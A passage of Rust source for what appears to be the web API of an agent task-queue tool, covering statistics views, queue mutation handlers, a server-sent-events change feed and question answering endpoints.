4504 let task = ui
4505 .queue
4506 .get(&id)
4507 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4508 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4509 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4510 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4511 let max_attempts = daemon::Opts::default().max_attempts;
4512 let flow = task_flow(&task, &history, max_attempts);
4513 Ok(Json(TaskDetailView {
4514 max_attempts,
4515 flow,
4516 history,
4517 runs_unreadable,
4518 attempts_note: ATTEMPTS_NOTE,
4519 task: TaskView::with_inventory(task, &inv),
4520 }))
4521 })
4522 .await
4523}
4524
4525#[derive(Debug, Serialize)]
4529struct RateView {
4530 pct: f64,
4531 denominator: usize,
4532}
4533
4534impl RateView {
4535 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4536 (denominator > 0).then(|| Self {
4537 pct: 100.0 * numerator as f64 / denominator as f64,
4538 denominator,
4539 })
4540 }
4541}
4542
4543#[derive(Debug, Serialize)]
4548struct StatsTotalsView {
4549 runs: usize,
4550 merged: usize,
4551 ready: usize,
4552 blocked: usize,
4553 failed: usize,
4554 stalled: usize,
4555 verified_noop: usize,
4556 superseded: usize,
4557 in_progress: usize,
4558 completion_rate: Option<RateView>,
4559 tallied: usize,
4560 split: usize,
4561 split_rate: Option<RateView>,
4562 deliberated: usize,
4563 minds_changed: usize,
4564 converged: usize,
4565 review_rounds: usize,
4566}
4567
4568impl From<&stats::Totals> for StatsTotalsView {
4569 fn from(t: &stats::Totals) -> Self {
4570 Self {
4571 runs: t.runs,
4572 merged: t.merged,
4573 ready: t.ready,
4574 blocked: t.blocked,
4575 failed: t.failed,
4576 stalled: t.stalled,
4577 verified_noop: t.verified_noop,
4578 superseded: t.superseded,
4579 in_progress: t.in_progress,
4580 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4581 tallied: t.tallied,
4582 split: t.split,
4583 split_rate: RateView::of(t.split, t.tallied),
4584 deliberated: t.deliberated,
4585 minds_changed: t.minds_changed,
4586 converged: t.converged,
4587 review_rounds: t.review_rounds,
4588 }
4589 }
4590}
4591
4592#[derive(Debug, Serialize)]
4594struct AgentStatsView {
4595 agent: String,
4596 entered: usize,
4597 wins: usize,
4598 empty: usize,
4599 win_rate: Option<RateView>,
4600}
4601
4602impl From<&stats::AgentStats> for AgentStatsView {
4603 fn from(a: &stats::AgentStats) -> Self {
4604 Self {
4605 agent: a.agent.clone(),
4606 entered: a.entered,
4607 wins: a.wins,
4608 empty: a.empty,
4609 win_rate: RateView::of(a.wins, a.entered),
4610 }
4611 }
4612}
4613
4614#[derive(Debug, Serialize)]
4618struct ReviewerStatsView {
4619 agent: String,
4620 rounds: usize,
4621 seated: usize,
4622 submitted: usize,
4623 adopted: usize,
4624 unique: usize,
4625 timeouts: usize,
4626 adopted_per_round: Option<f64>,
4627 precision: Option<RateView>,
4628 unique_rate: Option<RateView>,
4629 timeout_rate: Option<RateView>,
4630}
4631
4632impl From<&stats::ReviewerStats> for ReviewerStatsView {
4633 fn from(r: &stats::ReviewerStats) -> Self {
4634 Self {
4635 agent: r.agent.clone(),
4636 rounds: r.rounds,
4637 seated: r.seated,
4638 submitted: r.submitted,
4639 adopted: r.adopted,
4640 unique: r.unique,
4641 timeouts: r.timeouts,
4642 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4643 precision: RateView::of(r.adopted, r.submitted),
4644 unique_rate: RateView::of(r.unique, r.submitted),
4645 timeout_rate: RateView::of(r.timeouts, r.seated),
4646 }
4647 }
4648}
4649
4650#[derive(Debug, Serialize)]
4656struct AdvisorStatsView {
4657 agent: String,
4658 seated: usize,
4659 proposed: usize,
4660 absent: usize,
4661 faint: usize,
4662 strong: usize,
4663 reflection_rate: Option<RateView>,
4664}
4665
4666impl From<&stats::AdvisorStats> for AdvisorStatsView {
4667 fn from(a: &stats::AdvisorStats) -> Self {
4668 Self {
4669 agent: a.agent.clone(),
4670 seated: a.seated,
4671 proposed: a.proposed,
4672 absent: a.absent,
4673 faint: a.faint,
4674 strong: a.strong,
4675 reflection_rate: RateView::of(a.strong, a.proposed),
4676 }
4677 }
4678}
4679
4680#[derive(Debug, Serialize)]
4682struct E2eStatsView {
4683 rounds: usize,
4684 failures: usize,
4685 sole_detections: usize,
4686 deferred: usize,
4687 sole_rate: Option<RateView>,
4688}
4689
4690impl From<&stats::E2eStats> for E2eStatsView {
4691 fn from(e: &stats::E2eStats) -> Self {
4692 Self {
4693 rounds: e.rounds,
4694 failures: e.failures,
4695 sole_detections: e.sole_detections,
4696 deferred: e.deferred,
4697 sole_rate: RateView::of(e.sole_detections, e.failures),
4698 }
4699 }
4700}
4701
4702#[derive(Debug, Serialize)]
4710struct ReleaseBumpStatsView {
4711 merged: usize,
4712 recorded: usize,
4713 pr_opened: usize,
4714 automerge_enabled: usize,
4715 merged_directly: usize,
4716 needs_attention: usize,
4717 clean: usize,
4718 coverage_rate: Option<RateView>,
4719 automerge_rate: Option<RateView>,
4720 attention_rate: Option<RateView>,
4721}
4722
4723impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4724 fn from(b: &stats::ReleaseBumpStats) -> Self {
4725 Self {
4726 merged: b.merged,
4727 recorded: b.recorded,
4728 pr_opened: b.pr_opened,
4729 automerge_enabled: b.automerge_enabled,
4730 merged_directly: b.merged_directly,
4731 needs_attention: b.needs_attention,
4732 clean: b.clean(),
4733 coverage_rate: RateView::of(b.recorded, b.merged),
4734 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4735 attention_rate: RateView::of(b.needs_attention, b.recorded),
4736 }
4737 }
4738}
4739
4740#[derive(Debug, Serialize)]
4742struct TaskCountsView {
4743 queued: usize,
4744 running: usize,
4745 done: usize,
4746 failed: usize,
4747 held: usize,
4748 blocked: usize,
4749}
4750
4751impl From<crate::queue::TaskCounts> for TaskCountsView {
4752 fn from(c: crate::queue::TaskCounts) -> Self {
4753 Self {
4754 queued: c.queued,
4755 running: c.running,
4756 done: c.done,
4757 failed: c.failed,
4758 held: c.held,
4759 blocked: c.blocked,
4760 }
4761 }
4762}
4763
4764#[derive(Debug, Serialize)]
4770struct RepoSummaryView {
4771 repo: String,
4774 name: String,
4776 runs: usize,
4777 completion_rate: Option<RateView>,
4778}
4779
4780impl From<&stats::RepoStats> for RepoSummaryView {
4781 fn from(r: &stats::RepoStats) -> Self {
4782 let t = &r.stats.totals;
4783 Self {
4784 repo: r.repo.to_string_lossy().into_owned(),
4785 name: r.name.clone(),
4786 runs: t.runs,
4787 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4788 }
4789 }
4790}
4791
4792#[derive(Debug, Serialize)]
4798struct StatsView {
4799 totals: StatsTotalsView,
4800 agents: Vec<AgentStatsView>,
4802 reviewers: Vec<ReviewerStatsView>,
4804 advisors: Vec<AdvisorStatsView>,
4806 e2e: E2eStatsView,
4807 release_bumps: ReleaseBumpStatsView,
4808 queue: TaskCountsView,
4809 runs_unreadable: usize,
4819 repos: Vec<RepoSummaryView>,
4823 daily: Vec<DailyStatsView>,
4828 repo: Option<String>,
4832 retired_hidden: Vec<String>,
4836}
4837
4838#[derive(Debug, Serialize)]
4840struct DailyStatsView {
4841 date: String,
4843 runs: usize,
4844 merged: usize,
4845 ready: usize,
4846 other: usize,
4847 completion_rate: Option<RateView>,
4849}
4850
4851impl From<&stats::DayBucket> for DailyStatsView {
4852 fn from(b: &stats::DayBucket) -> Self {
4853 Self {
4854 date: b.date.to_string(),
4855 runs: b.runs,
4856 merged: b.merged,
4857 ready: b.ready,
4858 other: b.other,
4859 completion_rate: RateView::of(b.merged + b.ready, b.runs),
4860 }
4861 }
4862}
4863
4864const STATS_DAILY_DAYS: usize = 30;
4866
4867#[derive(Debug, Default, Deserialize)]
4876#[serde(default)]
4877struct StatsQuery {
4878 repo: Option<String>,
4879 all: bool,
4881}
4882
4883async fn stats_get(
4890 State(ui): State<Arc<Ui>>,
4891 Query(q): Query<StatsQuery>,
4892) -> ApiResult<Json<StatsView>> {
4893 blocking(move || {
4894 let states: Vec<RunState> = run_ids(&ui.runs)
4895 .into_iter()
4896 .filter_map(|id| read_run(&ui.runs, &id).ok())
4897 .collect();
4898 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4899 .iter()
4900 .map(RepoSummaryView::from)
4901 .collect();
4902 let mut scoped: Vec<&RunState> = states.iter().collect();
4903 let mut collected = match &q.repo {
4904 Some(repo) => {
4905 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4906 if filtered.is_empty() {
4907 return Err(ApiError::not_found(format!(
4908 "no runs recorded against repo `{repo}`"
4909 )));
4910 }
4911 scoped = filtered.clone();
4912 stats::collect_refs(filtered)
4913 }
4914 None => stats::collect(&states),
4915 };
4916 if !q.all {
4917 let repo = q
4918 .repo
4919 .as_deref()
4920 .map_or_else(|| ui.repo.clone(), PathBuf::from);
4921 stats::retain_current_roster(&mut collected, &repo);
4922 }
4923 let daily = stats::daily(
4924 scoped,
4925 jiff::Zoned::now().date(),
4926 &jiff::tz::TimeZone::system(),
4927 STATS_DAILY_DAYS,
4928 );
4929 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4930 Ok(Json(StatsView {
4931 totals: StatsTotalsView::from(&collected.totals),
4932 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4933 reviewers: collected
4934 .reviewers
4935 .iter()
4936 .map(ReviewerStatsView::from)
4937 .collect(),
4938 advisors: collected
4939 .advisors
4940 .iter()
4941 .map(AdvisorStatsView::from)
4942 .collect(),
4943 e2e: E2eStatsView::from(&collected.e2e),
4944 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4945 queue: TaskCountsView::from(queue_counts),
4946 runs_unreadable: runs_unreadable(&ui.runs),
4947 repos,
4948 daily: daily.iter().map(DailyStatsView::from).collect(),
4949 repo: q.repo.clone(),
4950 retired_hidden: collected.retired_hidden.clone(),
4951 }))
4952 })
4953 .await
4954}
4955
4956#[derive(Debug, Default, Deserialize)]
4959#[serde(default, deny_unknown_fields)]
4960struct HoldBody {
4961 reason: Option<String>,
4962}
4963
4964async fn queue_hold(
4965 State(ui): State<Arc<Ui>>,
4966 Path(id): Path<String>,
4967 body: std::result::Result<Json<HoldBody>, JsonRejection>,
4968) -> ApiResult<Json<TaskView>> {
4969 let body = match body {
4973 Ok(Json(body)) => body,
4974 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4975 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4976 };
4977 let reason = body.reason.filter(|r| !r.trim().is_empty());
4978 mutate(ui, id, move |t| {
4979 t.hold_manual(reason.clone());
4980 Ok(())
4981 })
4982 .await
4983}
4984
4985async fn queue_release(
4986 State(ui): State<Arc<Ui>>,
4987 Path(id): Path<String>,
4988) -> ApiResult<Json<TaskView>> {
4989 mutate(ui, id, |t| {
4990 t.release();
4991 Ok(())
4992 })
4993 .await
4994}
4995
4996#[derive(Debug, Deserialize)]
4998#[serde(deny_unknown_fields)]
4999struct PriorityBody {
5000 priority: i32,
5001}
5002
5003async fn queue_priority(
5009 State(ui): State<Arc<Ui>>,
5010 Path(id): Path<String>,
5011 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5012) -> ApiResult<Json<TaskView>> {
5013 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5014 mutate(ui, id, move |t| t.set_priority(body.priority)).await
5015}
5016
5017#[derive(Debug, Deserialize)]
5019#[serde(deny_unknown_fields)]
5020struct EditBody {
5021 title: String,
5022 instruction: String,
5023 #[serde(default)]
5026 force: bool,
5027}
5028
5029async fn queue_edit(
5033 State(ui): State<Arc<Ui>>,
5034 Path(id): Path<String>,
5035 body: std::result::Result<Json<EditBody>, JsonRejection>,
5036) -> ApiResult<Json<TaskView>> {
5037 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5038 let mut judged: Option<(String, PathBuf)> = None;
5042 if !body.force {
5043 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5044 let (id, text) = (id.clone(), body.instruction.clone());
5045 let (seen, hits) = blocking(move || {
5046 let id = resolve_task(&queue, &id)?;
5047 let t = queue.get(&id)?;
5048 if text == t.instruction {
5049 return Ok((None, Vec::new()));
5050 }
5051 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5052 Ok((Some((t.instruction, t.repo)), hits))
5053 })
5054 .await?;
5055 if let Some((_, repo)) = &seen {
5056 let cfg = crate::config::Config::discover(repo, None)
5057 .ok()
5058 .map(|(c, _)| c);
5059 let screened =
5060 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5061 .await
5062 .map_err(|dup| {
5063 ApiError::conflict(dup.render(
5064 "Nothing was saved. If it is not a duplicate, repeat the request \
5065 with \"force\": true.",
5066 ))
5067 })?;
5068 if let crate::dupes::Screened::Unjudged(why) = screened {
5069 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5070 }
5071 }
5072 judged = seen;
5073 }
5074 let force = body.force;
5075 mutate(ui, id, move |t| {
5076 if !force && body.instruction != t.instruction {
5077 match &judged {
5078 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5079 _ => {
5080 anyhow::bail!("the task changed while it was being checked; repeat the request")
5081 }
5082 }
5083 }
5084 t.edit(body.title.clone(), body.instruction.clone())
5085 })
5086 .await
5087}
5088
5089async fn queue_done(
5097 State(ui): State<Arc<Ui>>,
5098 Path(id): Path<String>,
5099) -> ApiResult<Json<TaskView>> {
5100 let home = ui.home.clone();
5101 mutate(ui, id, move |t| {
5102 t.succeed();
5103 crate::daemon::supersede_prior_runs(t, &home);
5111 Ok(())
5112 })
5113 .await
5114}
5115
5116async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5124 blocking(move || {
5125 let id = resolve_task(&ui.queue, &id)?;
5126 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5127 ui.queue
5128 .remove(&id, in_flight, &ui.questions)
5129 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5130 Ok(StatusCode::NO_CONTENT)
5131 })
5132 .await
5133}
5134
5135async fn mutate(
5144 ui: Arc<Ui>,
5145 id: String,
5146 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5147) -> ApiResult<Json<TaskView>> {
5148 blocking(move || {
5149 let id = resolve_task(&ui.queue, &id)?;
5150 let _claim = ui.queue.claim(&id).map_err(|e| {
5155 ApiError::conflict(format!(
5156 "{e:#} - a daemon is running this task, so it cannot be \
5157 changed from here yet"
5158 ))
5159 })?;
5160 let mut task = ui.queue.get(&id)?;
5161 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5162 Ok(dup) => ApiError::conflict(dup.render(
5163 "Nothing was saved. If it is not a duplicate, repeat the request with \
5164 \"force\": true.",
5165 )),
5166 Err(e) => ApiError::bad_request_from(e),
5167 })?;
5168 ui.queue.put(&mut task)?;
5169 Ok(Json(TaskView::from(task)))
5170 })
5171 .await
5172}
5173
5174async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5182 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5183 tokio::spawn(async move {
5184 let mut ticker = tokio::time::interval(POLL);
5185 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5186 let mut stamps: Option<[Stamps; 3]> = None;
5187 loop {
5188 ticker.tick().await;
5191 let state = Arc::clone(&ui);
5192 let revisions = tokio::task::spawn_blocking(move || {
5193 let stamps = [
5194 store_stamps(state.queue.root(), false),
5195 store_stamps(&state.runs, true),
5196 store_stamps(state.talks.root(), false),
5197 ];
5198 let revisions = (
5199 stamps_revision(&stamps[0]),
5200 stamps_revision(&stamps[1]),
5201 state.questions.revision(),
5202 stamps_revision(&stamps[2]),
5203 state.notices.revision(),
5204 state.lock_loop().rev,
5208 );
5209 (revisions, stamps)
5210 })
5211 .await;
5212 let Ok((revisions, next_stamps)) = revisions else {
5213 break;
5214 };
5215 if last == Some(revisions) {
5216 continue;
5217 }
5218 let mut payload = serde_json::json!({
5219 "queue_rev": revisions.0,
5220 "runs_rev": revisions.1,
5221 "questions_rev": revisions.2,
5222 "talks_rev": revisions.3,
5223 "notifications_rev": revisions.4,
5224 "loop_rev": revisions.5,
5225 });
5226 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5227 for (index, (key, rev)) in [
5228 ("queue_delta", base.0),
5229 ("runs_delta", base.1),
5230 ("talks_delta", base.3),
5231 ]
5232 .into_iter()
5233 .enumerate()
5234 {
5235 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5236 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5238 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5239 }
5240 }
5241 }
5242 last = Some(revisions);
5243 stamps = Some(next_stamps);
5244 let Ok(event) = Event::default().event("change").json_data(payload) else {
5246 break;
5247 };
5248 if tx.send(event).await.is_err() {
5249 break;
5250 }
5251 }
5252 });
5253 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5254 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5255}
5256
5257type Stamps = HashMap<String, (u128, u64)>;
5258
5259fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5261 std::fs::read_dir(root)
5262 .into_iter()
5263 .flatten()
5264 .flatten()
5265 .filter_map(|entry| {
5266 let path = if runs {
5267 entry.path().join("run.json")
5268 } else {
5269 entry.path()
5270 };
5271 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5272 return None;
5273 }
5274 let metadata = path.metadata().ok()?;
5275 let modified = metadata
5276 .modified()
5277 .ok()?
5278 .duration_since(std::time::UNIX_EPOCH)
5279 .ok()?;
5280 let id = if runs {
5281 entry.file_name().to_string_lossy().into_owned()
5282 } else {
5283 path.file_stem()?.to_string_lossy().into_owned()
5284 };
5285 Some((id, (modified.as_nanos(), metadata.len())))
5286 })
5287 .collect()
5288}
5289
5290#[derive(Debug, Serialize)]
5291struct Delta {
5292 base: u64,
5293 changed: Vec<String>,
5294 removed: Vec<String>,
5295}
5296
5297fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5298 let mut changed: Vec<_> = next
5299 .iter()
5300 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5301 .map(|(id, _)| id.clone())
5302 .collect();
5303 let mut removed: Vec<_> = previous
5304 .keys()
5305 .filter(|id| !next.contains_key(*id))
5306 .cloned()
5307 .collect();
5308 changed.sort_unstable();
5309 removed.sort_unstable();
5310 Delta {
5311 base,
5312 changed,
5313 removed,
5314 }
5315}
5316
5317fn runs_revision(runs: &FsPath) -> u64 {
5324 stamps_revision(&store_stamps(runs, true))
5325}
5326
5327fn stamps_revision(stamps: &Stamps) -> u64 {
5331 use std::hash::{Hash as _, Hasher as _};
5332 if stamps.is_empty() {
5333 return 0;
5334 }
5335 let mut entries: Vec<_> = stamps.iter().collect();
5336 entries.sort_unstable();
5337 let mut hasher = std::hash::DefaultHasher::new();
5338 entries.hash(&mut hasher);
5339 hasher.finish().max(1)
5340}
5341
5342fn run_ids(runs: &FsPath) -> Vec<String> {
5348 let mut ids: Vec<String> = std::fs::read_dir(runs)
5349 .into_iter()
5350 .flatten()
5351 .flatten()
5352 .filter(|e| e.path().join("run.json").is_file())
5353 .map(|e| e.file_name().to_string_lossy().into_owned())
5354 .collect();
5355 ids.sort_unstable_by(|a, b| b.cmp(a));
5357 ids
5358}
5359
5360fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5362 let path = runs.join(id).join("run.json");
5363 let body =
5364 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5365 let state: RunState =
5366 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5367 run::migrate_schema(state)
5372}
5373
5374#[must_use]
5382pub fn runs_unreadable(runs: &FsPath) -> usize {
5383 run_ids(runs)
5384 .into_iter()
5385 .filter(|id| read_run(runs, id).is_err())
5386 .count()
5387}
5388
5389fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5391 if runs.join(id).join("run.json").is_file() {
5392 return Ok(id.to_owned());
5393 }
5394 pick(run_ids(runs), id, "run")
5395}
5396
5397fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5399 if queue.path_of(id).is_file() {
5400 return Ok(id.to_owned());
5401 }
5402 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5403}
5404
5405#[derive(Debug, Serialize)]
5416struct QuestionView {
5417 #[serde(flatten)]
5418 question: Question,
5419 detail_md: Vec<md::Node>,
5420 thread_bodies_md: Vec<Vec<md::Node>>,
5422 thread_notes_md: Vec<Option<Vec<md::Node>>>,
5425 waiting_on_agent: bool,
5435 holder: Option<&'static str>,
5439 deputies_enabled: bool,
5443 run_is_task: bool,
5446 origin_chat: Option<String>,
5451}
5452
5453impl QuestionView {
5454 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5458 let base = md::ImageBase::QuestionPanel {
5459 id: question.id.clone(),
5460 };
5461 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5462 Self {
5463 detail_md: md::to_nodes(&question.detail, &base),
5464 thread_bodies_md: question
5465 .thread
5466 .iter()
5467 .map(|t| md::to_nodes(&t.body, &base))
5468 .collect(),
5469 thread_notes_md: question
5470 .thread
5471 .iter()
5472 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5473 .collect(),
5474 waiting_on_agent: question.waiting_on_agent(),
5475 holder,
5476 deputies_enabled,
5477 run_is_task: question.run_names_task(),
5478 origin_chat: None,
5479 question,
5480 }
5481 }
5482
5483 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5485 self.origin_chat = crate::consult::origin_talk(tasks, talks, &self.question).map(|t| t.id);
5486 self
5487 }
5488}
5489
5490fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5494 Config::discover(repo, None).ok().map(|(c, _)| c)
5495}
5496
5497fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5499 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5500}
5501
5502fn question_views(
5505 qs: Vec<Question>,
5506 store: &ask::Questions,
5507 load: impl FnOnce() -> Option<Config>,
5508) -> Vec<QuestionView> {
5509 if qs.is_empty() {
5510 return Vec::new();
5511 }
5512 let cfg = load();
5513 qs.into_iter()
5514 .map(|q| {
5515 let on = deputies_enabled(cfg.as_ref(), &q);
5516 QuestionView::of(q, store, on)
5517 })
5518 .collect()
5519}
5520
5521fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5531 if !q.status.open() {
5532 return None;
5533 }
5534 if q.cwd.is_none() && q.deputy.is_none() {
5535 return crate::deputy::kind_of(q).map(|_| "nobody");
5536 }
5537 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5538 Some(_) if q.deputy.is_some() => "deputy",
5539 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5540 Some(_) => "asker",
5541 None => "nobody",
5542 })
5543}
5544
5545async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5551 blocking(move || {
5552 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5553 Ok(Json(
5554 question_views(ui.questions.list(), &ui.questions, || {
5555 deputy_config(&ui.repo)
5556 })
5557 .into_iter()
5558 .map(|v| v.with_origin(&tasks, &talks))
5559 .collect(),
5560 ))
5561 })
5562 .await
5563}
5564
5565async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5568 blocking(move || {
5569 let items = ui.notices.list();
5570 let unread = items.iter().filter(|n| n.unread()).count();
5571 Ok(Json(
5572 serde_json::json!({ "unread": unread, "items": items }),
5573 ))
5574 })
5575 .await
5576}
5577
5578fn notice_error(e: anyhow::Error) -> ApiError {
5579 ApiError::not_found(format!("{e:#}"))
5582}
5583
5584async fn notification_read(
5586 State(ui): State<Arc<Ui>>,
5587 Path(id): Path<String>,
5588) -> ApiResult<Json<Notice>> {
5589 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5590}
5591
5592async fn notification_dismiss(
5594 State(ui): State<Arc<Ui>>,
5595 Path(id): Path<String>,
5596) -> ApiResult<Json<Notice>> {
5597 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5598}
5599
5600async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5602 blocking(move || {
5603 let changed = ui.notices.mark_all_read()?;
5604 Ok(Json(serde_json::json!({ "marked": changed })))
5605 })
5606 .await
5607}
5608
5609#[derive(Debug, Default, Deserialize)]
5615#[serde(default, deny_unknown_fields)]
5616struct NewAnswer {
5617 choice: Option<String>,
5618 text: Option<String>,
5619}
5620
5621async fn question_answer(
5622 State(ui): State<Arc<Ui>>,
5623 Path(id): Path<String>,
5624 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5625) -> ApiResult<Json<QuestionView>> {
5626 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5627 let answer = match (body.choice, body.text) {
5628 (Some(c), None) => Answer::Choice(c),
5629 (None, Some(t)) => Answer::Text(t),
5630 (Some(_), Some(_)) => {
5631 return Err(ApiError::bad_request(
5632 "send either `choice` or `text`, not both",
5633 ));
5634 }
5635 (None, None) => {
5636 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5637 }
5638 };
5639
5640 blocking(move || {
5641 let id = resolve_question(&ui.questions, &id)?;
5642 let q = ui
5643 .questions
5644 .get(&id)
5645 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5646 if !q.status.open() {
5647 return Err(ApiError::conflict(format!(
5651 "question {} is already {}",
5652 q.short(),
5653 q.status.as_str()
5654 )));
5655 }
5656 let (q, ()) = ui
5660 .questions
5661 .update(&q.id, |r| r.answer(answer))
5662 .map_err(ApiError::bad_request_from)?;
5663 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5664 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5665 Ok(Json(
5666 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5667 ))
5668 })
5669 .await
5670}
5671
5672#[derive(Debug, Deserialize)]
5674#[serde(deny_unknown_fields)]
5675struct NewSay {
5676 body: String,
5677}
5678
5679async fn question_say(
5689 State(ui): State<Arc<Ui>>,
5690 Path(id): Path<String>,
5691 body: std::result::Result<Json<NewSay>, JsonRejection>,
5692) -> ApiResult<Json<QuestionView>> {
5693 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5694 blocking(move || {
5695 let id = resolve_question(&ui.questions, &id)?;
5696 let q = ui
5697 .questions
5698 .get(&id)
5699 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5700 if !q.status.open() {
5701 return Err(ApiError::conflict(format!(
5705 "question {} is already {}",
5706 q.short(),
5707 q.status.as_str()
5708 )));
5709 }
5710 let (q, ()) = ui
5713 .questions
5714 .update(&q.id, |r| r.say(body.body))
5715 .map_err(ApiError::bad_request_from)?;
5716 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5717 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5718 Ok(Json(
5719 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5720 ))
5721 })
5722 .await
5723}
5724
5725async fn question_consult(
5734 State(ui): State<Arc<Ui>>,
5735 Path(id): Path<String>,
5736) -> ApiResult<(StatusCode, Json<QuestionView>)> {
5737 let (view, reclaimed) = blocking({
5738 let ui = Arc::clone(&ui);
5739 move || {
5740 let id = resolve_question(&ui.questions, &id)?;
5741 let q = ui
5742 .questions
5743 .get(&id)
5744 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5745 if !q.status.open() {
5746 return Err(ApiError::conflict(format!(
5747 "question {} is already {}",
5748 q.short(),
5749 q.status.as_str()
5750 )));
5751 }
5752 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5753 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
5754 return Err(ApiError::conflict(format!(
5755 "question {} has no open chat to ask",
5756 q.short()
5757 )));
5758 };
5759 let cfg = if q.consult.is_none() {
5763 Some(Config::discover(&talk.repo, None)?.0)
5764 } else {
5765 None
5766 };
5767 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
5768 let claim = if fresh {
5769 match ui.begin_queued_talk_turn(&talk.id)? {
5770 Some(turn_guard) => {
5771 let talk = ui.talks.get(&talk.id)?;
5772 let cfg = match cfg {
5773 Some(cfg) => cfg,
5774 None => Config::discover(&talk.repo, None)?.0,
5775 };
5776 Some((talk, cfg, turn_guard))
5777 }
5778 None => None,
5779 }
5780 } else {
5781 None
5782 };
5783 let q = ui.questions.get(&q.id)?;
5784 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5785 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
5786 Ok((view, claim))
5787 }
5788 })
5789 .await?;
5790 if let Some((talk, cfg, turn_guard)) = reclaimed {
5791 let talks = ui.talks.clone();
5792 let id = talk.id.clone();
5793 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5794 }
5795 Ok((StatusCode::ACCEPTED, Json(view)))
5796}
5797
5798fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5800 if store.path_of(id).is_file() {
